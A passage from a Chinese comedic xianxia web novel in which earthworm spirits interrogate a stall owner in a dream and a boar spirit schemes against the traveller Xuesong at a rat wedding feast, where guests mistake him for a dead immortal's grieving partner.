“他让我们不去,我们就不去?”大蚯蚓冷笑道:“我偏要去,不仅要去,还要亲自问问他!他究竟是怎么在秘境开启之前就把偷窥的东西丢进我的泥潭里的!他又怎么能觉得自己拿走了我精心呵护的雪莲花,还在你面前挑衅我的!我非要问个清楚不可!”
小蚯蚓欲言又止,感觉不妙,但又不好劝,毕竟,他只是一个被切下来的小部分,因此叹着气说:“这是不是有点危险了?”
大蚯蚓冷笑一声,并不把他的担忧忐忑放在心上,只是淡淡说:“就算他有仙尊撑腰,仙尊现在已经死了,他又能怎么样?你不要被他吓住了!也许他只是狐假虎威!即使不是,他也不可能永远待在秘境,比不过我们的!现在不出这一口气,以后就出不了!你要实在害怕,就待在这儿吧!我一个人去!”
小蚯蚓心中一惊,真要是让大蚯蚓一个人去了,出了事,可怎么办才好?他一个人接着待在泥潭里面,等着长成大蚯蚓?
他倒不是不愿意,也不是没有好处,只是如果真的那么做了,他很有可能还没长成大蚯蚓,就在半路上被大蚯蚓的仇人杀了,那可是倒霉透顶的事!危险太大了!他还是去吧!
“我跟你去!”小蚯蚓深吸一口气,视死如归一般说。
大蚯蚓微笑着点了点头:“好。”
已经躺在家里床上的老板,突然感觉到头昏沉沉的,再次睁开眼睛的时候,忽然发现身边多了两个人,猛然一惊。
“你们两个是什么人?要干什么?快点走开!不然我就叫人了!城主可不是吃素的!知道你们这些东西随便进来,一定会生气的!”老板打着哆嗦,瞪着眼睛说。
大蚯蚓并不将这些话放在心上,只是冷笑:“我们只是想找你问一些事情,你何必这样惊慌失措?好像是做了什么亏心事!”
老板猛然把腰一挺,大怒道:“我才没有!”
大蚯蚓呵呵笑道:“那我们来谈谈正事儿吧!”
老板有些狐疑,又把腰弯了下去,打量着他们两个,十分警惕:“什么正事?不能白天说?”
他又往周围看了看,觉得这个地方十分奇怪,仿佛认识,又仿佛不认识,似乎来过,又似乎从未见过,不仅不能给他任何的安全感,反而让他觉得分外诡异,只希望尽快远离,皱着眉头说:“这是什么地方?!”
“这是什么地方不重要,但你现在找不到任何人,帮你的忙,所以你最好还是乖乖听话,我们问完就走,否则你这辈子也别想,见到其他人了。”大蚯蚓冷笑了一声,恐吓了两句,严肃脸问:“白天那个在你摊子上帮忙,很像仙尊的,路过的旅客,还在不在城里?”
“原来是找他?”老板挑了挑眉,有点惊讶,又有一种,果然如此一般的感觉,甚至隐约放松了一些:“在呀!听说他没有走,在城主的安排下,打算过了今天晚上,再离开呢!”
小蚯蚓听了浑身一抖,对大蚯蚓低声道:“他好嚣张!白天威胁完我之后,居然还不走!还要在城里呆着!这一定是冲我们示威!
告诉我们,他一点也不害怕,而且明知道我们可能会来,却既不走也不躲,这就是说,他在等我们今天晚上过去!他这是挑衅!这是宣战!我们不能放过他!”
老板听得云里雾里,不知他们在说些什么,只觉得奇怪,大蚯蚓听了小蚯蚓的话,冷笑了一声:“好嚣张!我们今天晚上就去会会他!”
小蚯蚓重重点了点头,一脸兴奋,已经从紧张逐渐趋近于迫不及待了。
老板左看看右看看,觉得他们两个不是什么好人,但也没想起来白天见过他们,毕竟小蚯蚓到的时候,他在忙别的事情,注意力根本不在客人的脸上,自然不太记得。
更何况,白天的客人那么多,要是见一个就记一个,哪里记得过来?再说,他们还不是抬头不见低头见的住在城里,那就更难记了。
“他有说他叫什么名字吗?”大蚯蚓秉持着能多打探一点消息,就多打探一点消息的原则,又向老板问。
“名字?”老板倒是记得,但他不觉得那是真的,按理说把员工旅客的名字告诉陌生人不太好,可如果是假的,告诉了应该也没事,犹豫了一下说了:“雪松。”
小蚯蚓像是被点了火的炮仗一样跳起来炸了:“他这是什么意思?直接用仙尊的名字?他知道我们要来?他不想让我们知道名字,还想告诉我们,他已经知道我们会打听他的名字,所以直接用仙尊的名字,既可以显示他和仙尊关系亲近,又可以警告我们,现在收手还来得及?得寸进尺!这根本就是得寸进尺!”
大蚯蚓皱着眉头,脸色有些发黑,听小蚯蚓说完,挥挥手,让他冷静,语气有些咬牙切齿,但比他镇定多了:“安静些,既然他早有准备,肯定不会放过我们。”
小蚯蚓瘪了瘪嘴,没再说话。
老板眨了眨眼睛,突然意识到什么,倒吸一口凉气:“你们两个是他的仇人?因为他和仙尊有关系?我就说他那样的人不可能和仙尊毫无关系!
果然叫我猜对了!他用这样的名字,根本是在告诉别人,他就是仙尊的道侣!这和把婚书写在脸上有什么区别?”
老板啧啧摇头,一脸感慨:“真能秀恩爱!”
“秀恩爱?什么意思?”大蚯蚓对这个词感到膈应,皱着眉头,发自内心觉得所有人都很恶心,并希望对方说的和自己猜测的不是同一个意思。
老板看他一脸厌恶,突然发现自己好像很有希望能够膈应他,呵呵笑了起来:“一般城里举办活动的时候,都是有空又缺钱的人才来摊子上干活,偶尔也有路过的旅客为了钱来的,可是他们只为了钱,不在乎别的,他就不一样了。
来的时候本来没兴趣的,城主专门花了大价钱邀请他,本来他也没答应,在那里犹豫,可是一抬头,不知怎么就答应了,这能是为什么?肯定是一抬头看见广场上的雕像,所以改变主意了!
至于广场上的雕像是谁,你不会不知道吧?那他要的是什么,还能不明白吗?”
老板说着说着,感慨起来:“也许他就喜欢这种暗暗的秀恩爱吧!太明显了容易招人嫌,但是像他这种,只有我们这种聪明人才能知道,知道的人都不会乱说,随便说出去,别人也未必信,又省事又有意思,多么好玩!而且比光明正大的秀恩爱更能让人相信呢!”
大蚯蚓和小蚯蚓都麻了,一张脸木木的站在那里,好像突然中了傀儡术,被变成了两个木头桩子一样,就差目瞪口呆了。
老板没听见他们插话,越说越起劲:“这么一来,谁还能不知道,他到那个摊子上是为什么?
不就是为了接近仙尊塑像,同时暗暗秀恩爱吗?也许还想在城里走一走,接近一下仙尊遗迹,和仙尊的距离更近一些!”
他说着又有一些旁观者的唏嘘:“可惜仙尊已经死了!他们天人永隔!如果仙尊还活着,他们大概会……非常幸福吧?”
老板叹了一口气:“他在我摊子上的时候,我有偷偷观察过他,是抽空观察的,当时很忙,他应该没注意到,或者注意到了,也不在乎,所以没有提——”
老板神色复杂:“他在摊子上的时候,只忙着手里的事,一直没有抬头,根本没有看过,就在广场上的那个雕像一眼,大约是怕自己触景伤情,不小心流露出悲伤的神色,被人看出来吧?真是太谨慎了!
在摊子上待的时间越长,他看起来越颓废,大约是距离那尊雕像太近了,又看到有这么多人为了纪念仙尊的活动而来,不受控制,想到了仙尊还活着的时候,也许还有和仙尊相处的片段,没有办法很好处理自己的感情,只能用疲惫伪装自己吧……”
大蚯蚓干呕一声,觉得自己现在难受得,就像是有人硬给他灌了一桶垃圾一样,浑身起了鸡皮疙瘩,皱着眉头往后退:“人类真是太恶心了!”
他说完转身跑了出去,小蚯蚓跟着他离开了,老板从床上坐了起来,往周围看了看,发现自己还在房间的床上,又躺了回去,盖着被子,闭上眼睛喃喃道:“好奇怪的梦!”
小蚯蚓追上了大蚯蚓,大蚯蚓一脸颓废坐在一棵树旁边的石头上,好像一个空军了十年的钓鱼佬,已经没有希望了,满脸写着不如去死吧。
小蚯蚓在旁边站了站,小心翼翼观察着他说:“你现在知道,我当时为什么,一回来就一个劲要你回去,找一找有没有他留下的痕迹了吧?他就是这么可怕又可恶的一个人啊!”
大蚯蚓的脸色又难看了一分,小蚯蚓的声音不得不小了一些:“我们落入他的圈套了!从他出现开始,甚至,从他控制着那头有眼睛的野猪来到泥塘旁边徘徊,引起你的攻击,以至于你把有他气息的眼珠,放在泥潭里作为战利品开始!
不管是明明知道了我们的计划,居然还敢留在城里,还是向我询问起你,还是在这里留宿,都是为了秀恩爱和折磨我们!他在用秀恩爱的办法报复我们!”
大蚯蚓一下子因为愤怒站了起来,但很快就坐了下去,垂着头弯着腰,深深叹了一口气,如同一个七老八十病入膏肓的人。
他本来不太相信小蚯蚓对于雪松的描述,但是现在看来,小蚯蚓说的话没什么大错,甚至别人对雪松的描述有过之而无不及。
他发了半天呆,随后慢慢说:“算了,我看今天没必要报复他,他一定做好了准备,我们去会遭殃的,改天再想办法吧!”
他说话的时候又想起老板详细描述的雪松和仙尊秀恩爱的细节,脸色像是被刨开肚子的生蚝,又白又绿又黑,又咸又腥又苦又涩,皱着眉头,好像马上要吐出来一样说:“走!”
小蚯蚓点了点头,大蚯蚓向泥塘回去,一边赶路一边心不在焉说:“他特意向你问起我,多半是知道我膈应这些东西,所以专门要你把我引过来,好让我得到他的报复,应该没有要命的意思,不然他就不会休息,而是来找我们了,以他的能力,他不可能找不到我们,所以,他不来就是不在乎的意思?”
小蚯蚓不知应该怎么回答,迟疑了一会儿点了点头:“那我们还要做什么吗?”
回到泥潭的大蚯蚓沉默半天,像是突然连上自己的外置大脑一样回答:“找个人去试探试探他吧!
虽然他现在没有要杀我们的意思,但我们如果直挺挺上去,说不定他会改变主意,还是不要拿自己的命冒险。
正好从泥塘里翻出来的眼珠是野猪的,我还知道附近有一头野猪,前阵子成了精,也见过几面,就让这头野猪去吧!”
“这会不会不太妥啊?那头野猪听我们的吗?真的能帮上忙吗?万一反过来帮他算计我们怎么办?没什么交情的话……”小蚯蚓犹豫着问。
“不用担心,”大蚯蚓摆了摆手,并不放在心上,转身向泥潭深处走去,打算休息:“我自有办法,到时候你在旁边帮忙就行了。”
他的身体逐渐往下沉,大半截身体都被埋住,顿了顿又说:“他有事在我手上,不能不帮,不然我就捅出去,他扛不住的。”
小蚯蚓将信将疑,点了点头,但没从记忆里发现什么端倪,只好全盘相信说:“我明白了,我全听你的,你让我做什么,我就做什么。”
反正他们本为一体,大蚯蚓横竖不会坑了他,就算真把他怎么样,也不过是尘归尘,土归土,没有什么大不了的,他的修为也比不过大蚯蚓,在大蚯蚓的照拂下还活得下去,要是离开了,也许比死还难过呢?
大蚯蚓完全沉进了泥潭中,休息去了,小蚯蚓在外面走了走,很快也进去了,次日,天一亮,大蚯蚓就出去了,很快回来对小蚯蚓说:“那头野猪答应了,等着看效果吧。”
小蚯蚓虽然搞不清楚具体情况,但还是点了点头,有心想问点什么,又觉得好像自己不放心似的,容易闹矛盾,也就不提了。
大蚯蚓似乎很累,看也没看他一眼,就从他旁边经过,又回到泥浆里面睡着了。
小蚯蚓有点担心,在旁边走了走,又觉得自己帮不上什么忙,白担心也没用,就也回到泥塘里面睡去了。
正在休息的雪松和犀牛,忽然听到远处传来了一阵敲锣打鼓的声音,定睛一看,密密麻麻的树丛里,很快挤出了一群的老鼠。
老鼠们吹锣打鼓,穿上红彤彤的衣服,踩着纸一样的鞋子,甩着长长的尾巴,笑嘻嘻的,扛着红色的,纸一样的轿子,一颠一颠走了出来。
老鼠们从他们面前路过,忽然停了下来,一个手里拿着帕子的又肥又大又圆又高的老鼠站了出来,对树枝上招了招手:“见面就是有缘,要不要去喝杯喜酒再走?喝一杯吧!新娘子最喜欢邀请客人一起吃饭了!新郎见了也一定会很高兴的!好不容易遇上没见过的人呢!”
雪松和犀牛没有说话,那老鼠又招了招:“下来吧,两位!吃饭而已,又不会要你们的命!真不吃吗?吃一顿吧?你们真不下来,我们可就走了!”
雪松忽然觉得有什么东西在动,掏出来一看是龙骨指针,眼珠子直勾勾望着底下的老鼠,眨了眨眼睛,好像恨不得立刻爬出去。
不知道是不是有什么好东西,但既然如此,或许可以一试,没有也没什么损失,反正,也不见得会怎么样。
雪松下去了,犀牛跟着下去,老鼠笑眯眯说:“我还以为你们要等着小老鼠上去请才下来呢,没想到这么快呀!两位客人是要跟我们一起去吃饭吧?要一起去吗?”
“带路吧。”雪松点了点头。
老鼠笑眯眯,答应道:“好嘞!”
老鼠说着挥了挥手:“小老鼠们!看好这两位客人!别叫他们迷路了!”
小老鼠们喊了一声:“知道了!”紧接着他们就一起挤到了雪松和犀牛旁边,笑眯眯对他们说:“请跟我们走吧!可不要认错了!”
犀牛小声问:“真要去吗?”
雪松点了点头:“你可以不去。”
犀牛连忙摇头:“不行不行!”他真要是不去,死在哪都不知道,他可不想。
雪松点了点头。
拿帕子的老鼠大喊一声:“起轿——”
其他老鼠把轿子抬了起来,摇摇晃晃又吹锣打鼓唱着歌,笑嘻嘻往前走去:“新娘子,出嫁了,新郎耶,好好等哦,小孩唉,我在后面等唉,轿子马上就到了,吃喜糖,喝喜酒,拿红包,过日子,住新房,去死去死去死!”
他们就这样一路唱着歌,到了一个洞穴的空地面前,把轿子放了下来,那个空地上不知什么时候已经排起了桌椅板凳和酒席,热气腾腾的,散发着浓烈的香气,闻起来像是刚出锅的。
“快入座,快入座!”挥着手绢的老鼠喊道。
一群小老鼠把轿子里的新娘扶进了洞穴里,还有一群小老鼠绕着新娘拍着手喊道:“红衣服的新娘好漂亮,红衣服的新郎等着的,喝了喜酒过了夜,生出一串小老鼠,尾巴摇着尾巴,胡须贴着胡须,吃一个丢一个,丢一个吃一个,满山遍野都是小老鼠,小老鼠!”
新娘不知不觉已经和那群小老鼠走进了洞穴深处,被阴影覆盖,不见了。
挥着手绢的老鼠走到了洞穴外面,抬着手在额头上,往外一看,眯了眯眼睛,喊道:“客人来了!客人来了!快接待客人!”
又是一群小老鼠摇着尾巴跑出来,站在空地上,很快就有各种各样的动物拿着红彤彤的喜帖过来,递给小老鼠说:“恭喜恭喜!新婚大喜!”
小老鼠们笑嘻嘻接了过去,点了点头回答:“大喜大喜!过了今天就有好饭吃了!小老鼠们管够!大家都不要客气!”
动物宾客们笑着点了点头,都说:“那可就真不客气,等着吃小老鼠了!新鲜出生的最好吃了!脆嫩脆嫩的,还沾着水呢!一口一个咔嚓响,骨头都不硬,也不硌牙,也不容易受伤,皮肉软软的,好吃着呢!我们真是有口福了!托你们的福啊!哈哈哈!”
宾客们一边说,一边相互寒暄,之后找个空位坐下,一边找桌子上的花生吃了,一边若有似无用眼睛往旁边瞟,打量着坐在不远处的雪松和犀牛。
他们两个仍然是独自坐一桌的,那桌除了他们两个没有别人,哪怕来了许多宾客也是一样。
有些宾客好奇,便悄声讨论道:“那个人看起来很像仙尊,不是吗?”
“但大家都知道仙尊已经死了。”
“那他是什么?”
“不太像是魂魄,更何况仙尊也没有,那么,长得这么像,一定有什么关系,也许是仙尊的道侣?”
“那他到这里来做什么?这里有什么值得他来的?难道是和仙尊有关系的东西,还是遗迹呢?”
“我在这活了这么久,也没见过那些东西!这里不应该有啊!”
有些客人实在好奇,就忍不住走上前去试图搭话:“你好,你到这儿来是找仙尊遗落的什么东西吗?”
雪松摇了摇头回答:“不是,我只是路过,顺便来这里坐坐。”
问问题的宾客皱起眉头,仔细把他打量了一番,轻轻摇了摇头,觉得他肯定是在说假话。
如果是仙尊,一定不会来这种地方,更何况参加这样的活动,长得和仙尊一模一样的人能不知道这回事?一定知道的!
那他可能不知道仙尊吗?不可能!那他过来绝对有不为人知的目的!什么路过,什么顺便,都不可能是真的。
他一定只是不想说真话而已!手上有两只镯子,那应该是仙尊的道侣,身上有杀伐之气,多半带了武器,身边还有一个人,看起来疑神疑鬼的,像是刚刚踩中陷阱,又被捞出来……
该不会是仙尊的道侣,听说这里有仙尊遗留的物品,所以前来探查路上遇到了掉入陷阱的人,所以顺便救了,怀疑是他们干的,和其他修仙者联合起来,打算以身为饵,看看他们上不上钩,假如他们上钩,就用武器下令,一拥而上,把他们全都抓起来吧?
听起来像是仙尊会做的事。
那个提问的宾客就往周围看了看,感觉每一片叶子后面都可能藏着一个修仙者,一阵风从他耳边吹过,他的头发飞了起来,拂过他的脸颊,他狠狠打了个哆嗦,感觉有人在暗处,怀疑被他发现了,想要对他动手。
他立刻啪的一声站直了,收回目光,假装自己什么也没看,迟疑着向雪松说:“我什么也没发现!”
雪松不知他为什么突然要说这个,也往周围看了看,点了点头,一脸平静回答道:“我知道了。”
对面在心里尖叫起来。他知道了?他知道了!他知道什么了?他知道我发现他带了人过来?他知道,那些人刚才想杀我?
他这是什么意思?互不干扰吗?他找他的线索和东西,我们吃我们的席?相安无事最好,要是出了什么事,他不会手下留情,哪怕他知道我已经知道了那些人的存在?
他就那么有信心,那些人一定会制服我们?那些人要么很多,要么很强,或者两个都占,否则他不会这样有信心,说不定那些人还是曾经的仙尊的部下,因为得知他的身份,所以对他都有照拂?
怪不得他说路过!路过的意思是专门来的!怪不得他说顺便!顺便的意思是专门来找和仙尊有关的东西,但是顺便来查查他们有没有什么毛病!
这个说话方式……难怪是仙尊的道侣……
提问宾客的神色有些僵硬,张了张口,一时不知说什么才好,现在就走,会不会有点太着急了?可是一直站在这,不说话也很奇怪啊!
“还有事吗?”雪松看他不走又不说话,有些疑惑。
他猛然一惊,已经开始不耐烦了?这是在暗示我,想要没有事,就不要把知道的事情说出去吧?那我肯定没事啊!
“没事!”他摆了摆手,连忙转身就走。
走了没两步,还没回到自己的座位上,忽然被提着帕子的老鼠拦住了,那只老鼠笑眯眯把手上的一张红艳艳的请柬递给了他,一边把他推回去,一边对他说:“正好,我打算把这个交给他,请他随便记个名字,以后请他再来吃满月酒,以后要还钱,也好知道是谁,你刚才找他讲话,一定和他熟了吧?你去!把这个东西给他吧!”
宾客愣了一下,连忙就要拒绝,张口说:“不对,我……”其实我和他不熟来着!刚才的话挺生硬的!真的!你自己去吧!
那老鼠挥了挥帕子,转身就走了,根本没听他在说什么,而且好像很忙的样子,一边走一边对小老鼠说:“可别磕着碰着,今天是个大喜日子,要是谁敢闹出晦气事情来,我拿你们没完!”
小老鼠们怯生生说:“好的!”
宾客眼看如此情况,自己不好再追上去,把手里的东西塞回,只好叹了一口气,当做自己倒霉,转身慢吞吞回到了雪松面前,心里祈祷自己不要被当成找麻烦的,免得被直接弄死。
他站在桌旁,把请柬递给了雪松,缓缓道:“这个是刚才那个……”他迟疑了一下,不知道应该怎么称呼,想了想说:“招待人的姑姑,让我转交给你的东西——”
他说到这里,突然想到,雪松要真是仙尊的道侣,岂不是算丧偶?他现在是在给一个丧偶的人递别人的喜帖上的单子?这是不是有点太过分了?戳人心窝子啊!
他怎么能干这种事?!他倒吸一口凉气,立刻把手收了回去,想要把东西拿走,口中说:“不好意思,我突然觉得这上面好像有点什么毛病……”
话还没有说完,手里的东西已经被抽走了,雪松看了一眼,有些疑惑,问:“哪里不对吗?我看没什么?”
宾客在雪松抬头的时候,看见雪松脖子上一条细细的银线闪了一下光,紧接着就看见那条线吊着的红豆,不由得心中一抽。
红豆?相思果?随身携带?好像很在乎的样子?仙尊送的礼物吧?一定不是普通的装饰,而是有用的灵器吧?
这是什么类型的?武器?通讯器?是威胁吧?绝对是让我不要乱讲话吧?虽然大家都猜得到,但是不想被人明说?
宾客安安静静待在了旁边,决定明哲保身。
实在不是他不想提醒,而是他觉得提醒了也没用。
一段时间之后,雪松把写好了的单子交给他:“拿去。”
他如蒙大赦,连忙接过,转头一边往回走一边看,不由得顿了一下,神色古怪起来,如果不是现在转头不太好,他真想回头看看,这是不是真的。
名字一定是假的吧,怎么会和仙尊一模一样,从前根本没有这样的人,现在突然冒出来一个,要说没关系,谁信呢?
身份也一定是假的吧,宗门弟子即使不是平平无奇,修为也不可能太高,他的修为根本不应该被算作宗门弟子,少说也该往前进一步。
更何况,如果他真是仙尊的道侣,他绝对是当不了普通弟子,而是会被特殊对待的,往大了想,他虽然当不了宗主,当个挂名长老还是可以的,就像当初的仙尊。
别说,虽然这个情况有点地狱,毕竟仙尊已经死了,但是仙尊曾经当过宗门的挂名长老,死了之后这个位置就空出来了,给仙尊的道侣正合适,不管是从名分上还是地位上,还是资源,或者名声。
来参加的理由,居然是收到邀请和顺路?之前怎么不说收到邀请?谁邀请的?真有人能不开眼,把这尊大佛邀请过来吗?
也不睁开眼看看,这究竟适不适合参加别人的婚礼?!谁会让一个未亡人去参加别人的婚礼啊?!这也太过分了吧?!
这究竟是想让人来参加婚礼,还是让人来搅局的?想让谁痛不欲生啊?这根本就是埋雷!!!
还有顺路!究竟要从哪里去,到哪里来?怎么能顺到这儿啊?还坐下来了?看起来都快吃东西了!再怎么顺路也顺不到这种地步吧!?这不正常吧?!
宾客把手里的单子交给了老鼠,拿帕子的老鼠看了一眼,笑嘻嘻的,把单子收了起来,一脸喜气洋洋说:“这可好了,以后找人都有办法了!”
宾客坐在旁边,听见这话,脸皮不由得抽了抽,神色有些古怪。还想找人?居然觉得那是个办法?这脑回路真不是人想出来的!
难怪是只老鼠!找人干什么?折磨别人还是折磨自己?不想活了,还是想拉人下水?早知道今天就不该来!真是太危险了!
其他客人问他这样那样的事情,他都低着头吃东西不作声,实在推脱不过去,就喝点酒摆摆手,假装自己听不懂,含含糊糊说些没用的废话:“不要再问了,没有用的,问什么呢?有什么好知道的?那么想知道自己去!自己去问!跟我有什么关系?我不知道!”
他喝着喝着,一不小心就喝多了,起身要找个避开其他眼睛的地方,去排泄,他的朋友担心他走不稳路,便把他扶住,架到了没人的地方,远远背对着其他人,隐藏在树木草丛中,对他说:“好了!他们看不见!你开始吧!”
他开始脱裤子,他朋友背对着他,站在旁边,看着那些宾客,不由得好奇问:“真的什么都不知道,什么也没问出来吗?”
他顿了一下,差点想提起裤子就跑,不过一想到这是自己朋友,好歹是认识的,又不是认识一天两天,多少算熟人,说一点应该没事,犹豫了一下,回答道:“看在咱们是朋友的份上,我勉强告诉你一点吧,希望你之后不要再问了。”
朋友一听好像有什么东西可以讲,连忙点了点头,又不知道他能不能看见,开口说:“我知道!我不会告诉别人!”
他才勉强说:“你是真不知道,我一靠近他那个桌子就觉得站不起来,就好像他在往外释放威压一样,就是那种高修为对低修为的压迫,很强的压迫感!如果不是我确信仙尊已经死了,我会觉得他就是!”
他说着说着,开始抱怨起来:“他写着收到邀请,说是顺路,其实根本就是在威胁我,不要把他带了人的事情告诉别人。
他根本是来搜查的,一旦有什么问题,就会立刻把我们抓起来,谁也跑不掉,因为他带了很多人来!
看见他旁边那个又瘦又弱又有伤的小子了吗?一定是之前的诱饵!不然怎么受得伤?不然那么瘦弱,怎么出现在这?早被人吃了!”
他开始提裤子,弯下腰的时候,忽然意识到自己说太多了,便把嘴闭上,不想再谈,不过他这一开口,把他朋友的探索欲勾起来了。
因此他刚提好裤子,就听见他朋友说:“我看他们两个也确实不像是没有后援就随便来的。
虽然这个地方确实隐蔽,许多年都没什么人,但也不见得没有人能进来,前阵子不是进来一大批吗?
还都是那个宗门!他们一定相互认识,要是有事,帮一帮忙也不是不可能,更何况那样的长相,那样的身份!
其实我在来的路上,隐约见过他们,只是不确定,来了之后仔细看了,我在路上见到的应该就是他们,走在路上很是平静,一点都看不出来是要到完全陌生的地方去。
也许他们来过这里,或者有人来过,所以知道线索,掌握着前门后门的位置,连逃跑的路也给我们堵了,才会这样淡然自若!”
朋友顿了顿,突然有点疑惑:“你都觉得他们那么危险了,还靠近干什么?去一次,不够还去第二次!你找刺激呢?”
“我找刺激?!”客人无可奈何,摇了摇头,又有点哭笑不得:“我不是没办法吗?都塞手里了,还能丢了不成?这可是婚礼!”
第97章
“在婚礼上随便乱丢, 重要人士刚刚交到你手里的,有用的红艳艳的东西,不管怎么想都不对吧, 更何况, 周围那么多人呢!大家都看着,我怎么好丢呢?丢到哪儿去啊?”客人摇着头问:“难道要假装, 刚刚有一阵不知从哪儿跑来的风, 把我手里的东西吹跑了吗?那别人岂不是要问我的手是不是没有力气了,怎么连一阵风都扛不住, 拿不了一张纸那么薄的东西?我怎么说呀!”
客人说到这里,想到之前的情况唏嘘起来:“实在不是我不想还回去, 对面就没给我机会, 把东西给我就走了!我还能追上去不成?别人会说忙忙的像什么样!对面也未必接呀!他不想干才推给我!”
客人说着说着叹起气来:“算我倒霉吧!”
“说起来, ”朋友点了点头, 觉得他说的有道理,却又不由自主好奇, “我看你到了他面前好像还想把东西拿回去, 怎么又改主意了?你是生怕他记不住你?”
宾客摇了摇头,叹着气说:“不是那么一回事!我本来要拿给他的,是因为那只老鼠让我给,但是我又觉得,那张纸上要的东西有点太冒犯了,让我看见了不好, 所以打算拿回去再讨论讨论的,结果他直接写了,那我总不能强抢吧?”
他说着说着左右看了看,又想起一件事来, 低声道:“他拿东西过去的时候,我看见他手上有两个镯子,这一定是定情信物!他和仙尊的!这还不算!我还看见他脖子上有一条链子!”
朋友瞪大眼睛,倒吸一口凉气,不知想到了什么,神色一闪一闪的,露出兴奋的光来,喃喃道:“链子?!”
客人重重点了点头,眯着眼睛,小声说:“他一定是在暗示我,他带过来的人已经把这包围住了,就像那个链子绕着他的脖子一样!
而且那个链子底下垂的是红豆,红豆是有名的相思果,这一定也是仙尊送给他的礼物,而且这代表在附近埋伏的那些人一定都和仙尊有关,不然怎么会是红豆呢?”
朋友似懂非懂,点了点头,若有所思:“原来如此!”
他想了想,忽然问:“如果,那位仙尊道侣果然是要在这里做什么,我们应该也在清算范围之内吧?为了安全起见,是不是应该向他示好?
虽然他在单子上填的未必是真的,但也未必是假的,至少表面上要仿佛象真的,那我们就得假装相信了,请他一并进去怎么样?了解了解情况,还能让他明白我们的意思?”
他们两个聊得正热闹,坐在桌子旁边参加喜宴的野猪精混在人群里面,端着酒杯,偷偷观察着不远处的雪松和犀牛。
要直接冲上去打,也许打不过,再说了,这里这么多的人,打起来乱糟糟的,还不知道要出什么事,更何况原本是个婚礼。
婚礼……婚礼……婚礼好啊!既然是婚礼,想必肯定不能容忍来捣乱的人吧?既然如此,发现有人疑似要捣乱,宾客偷偷把消息告诉办婚礼的人,应该也很正常吧?最多算正义心爆棚吧?没什么好过分的吧?
野猪精这么一想,立刻打定了主意,悄悄站起身来,从人群中一绕进入了洞穴,小老鼠们在洞穴里面的不远处拦着他,手拉着手,好像一条长长的彩带一样,对他叽叽喳喳喊道:“新娘子在里面!不是新郎不能进!”
野猪精也没和他们掰扯什么,之前有只老鼠拿着手绢就进去了,凭什么不让我进之类的话,只是点了点头,站在他们面前说:“我可以不进去,但是麻烦你们把之前拿手绢的那个老鼠叫出来一下,我有一点话要说。”
小老鼠们面面相觑,皱着眉头,仿佛不太理解他为什么说这话,有一种复习之后发现考试的题目和自己背的内容完全不相干的感觉,想了想说:“好吧,我们去给你找。”
小老鼠们一阵叽叽喳喳之后,就把那只拿着手帕的大老鼠找了出来。大老鼠似乎在里面也很忙,走出来就看着他问:“有什么事?”
看起来完全就是一副只等他一开口就马上能够回头,到更里面去继续做事的样子,身体都是侧着的。
“实不相瞒,外面有一个人,不是好人,他来这里并不是为了参加婚宴,而是为了搅局的!您可不能让他继续留下来!那对婚礼不利呀!”野猪精一边偷偷往洞穴外面看,一边神神秘秘低声道。
“那你说是谁?”拿帕子的老鼠双手抱在胸前,一条腿往前,一条腿往旁边,皱着眉头看着他,不耐烦之中带着一点晦气问。
老鼠倒也不是嫌弃野猪精,只是觉得大喜的日子,听人说这些话,真算是倒霉,又不是很想听,又不能直接把人打发走,只好站在这儿,更倒霉了。
要是对面说不出个一二三来,帕子老鼠非要把对方直接踹出去不可。横竖大家都是妖精妖怪,说好听点,也不过是妖修,夸大一些,最多算是妖仙,又能怎么样呢?
打起来还是一样的皮糙肉厚!在人类的眼里,还不是一样避之不及!相互之间也没什么可装的!
野猪精看出对面的耐心没有多少,也不卖关子,连忙说:“就是那个看起来神似仙尊的人!”
与此同时,从隐蔽处转了出来的客人和朋友走到了雪松面前,试图和他搭话:“要不要到我们那桌喝点什么?”
雪松看了一眼他们来时的那张桌子,挤满了人,喝酒吃肉划拳,好不乐乎,吵得要命,他没什么兴趣,就摇了摇头:“不用了,谢谢!”其实如果可以,他还是希望早点走。
客人和朋友对视一眼,发现好像不太能向他示好,朋友冲着客人眨了眨眼睛,让他想办法,毕竟他知道的比自己多。
他急出一脑门汗,突然想到一个主意,连忙微笑着对雪松说:“其实我有一件事想拜托你!”其实我突然想到一个帮你探查洞穴内部情况的办法!
雪松虽然未必要帮他,但看他急得满脑都是汗,不知是不是真有什么急事就问:“什么事?”
“我觉得,我刚才拿那个递给你的帖子的时候好像没拿好,手上出了点汗,把你写的东西弄湿了,不知道有没有模糊,”客人深吸一口气,“我不太敢去,你替我去看一看好不好?毕竟这么简单一件事没办成,还是很不好意思的!”
我刚才故意把你写的东西弄模糊了,免得老鼠们看出什么端倪,或者真把你的消息看了出去,希望你知道,你不相信可以去检查一下,我说的都是真的,毕竟这件事情还挺让人紧张的,毕竟这件事众目睽睽,我没敢细看!
雪松若有所思看着他,他紧张得手里都冒汗,眨巴着眼睛,望着雪松,雪松想了想,进去转转也不是不行,只要里面没有陷阱,横竖没有坏处,也就答应下来:“那好吧,我带你去一趟。”
客人连连点头,松了一口气,很是高兴,说:“谢谢,谢谢!”谢谢你愿意答应,谢谢你接受示好,谢谢你有放过我的意思!
雪松摆了摆手,觉得他这种态度有点太过了,但又转念一想,也许他就是这种容易激动的类型,不必太放在心上:“不用客气。”
客人拉着朋友点了点头,就那么目送着雪松走进了洞穴里,如同两只兔子在洞穴门口目送着一只雄鹰向天际飞去,直到看不见影子了,才觉得逐渐放松下来。
洞穴里面,拿帕子的老鼠笑了一声,并不放在心上,十分无所谓,挥了挥手说:“瞧你这话说的,他是我亲自邀请来的,他是什么人我能不知道吗?他本来都不打算来的,要不是我一个劲邀请他,他根本不会出现在这!
你说这话太可笑了!还是别说了,回去吧!我觉得没听见,也不会告诉他的!现在就回头坐着去,我不跟你计较,你要是再浪费我时间,我就不客气了!”
说完,那老鼠就要走,野猪精愣了一下,见自己的计谋不生效,有些恼羞成怒,脸上发红,立刻一把将对方抓住,眼珠一转又说:“你有所不知啊!”
老师不耐烦站在原地,把他的手一甩问:“什么事啊?”
野猪精虽然觉得生气,但此时也顾不得计较那么多了,仍然试图拱火,低声道:“我亲耳听见他说,非要把这里闹得天翻地覆才罢休呢!不然他是不会走的!
想也知道啊,他那种人怎么平白无故到这儿来?难道外面没有婚宴吗?还是没有人邀请他,所以他不会参加?外面不参加,只在这里参加,怎么想都有问题吧!?”
老鼠皱着眉头,觉得他说的有两分道理,但又太过荒谬,将信将疑问:“那你有什么证据?不要再说什么亲耳听见!也许是听错了!
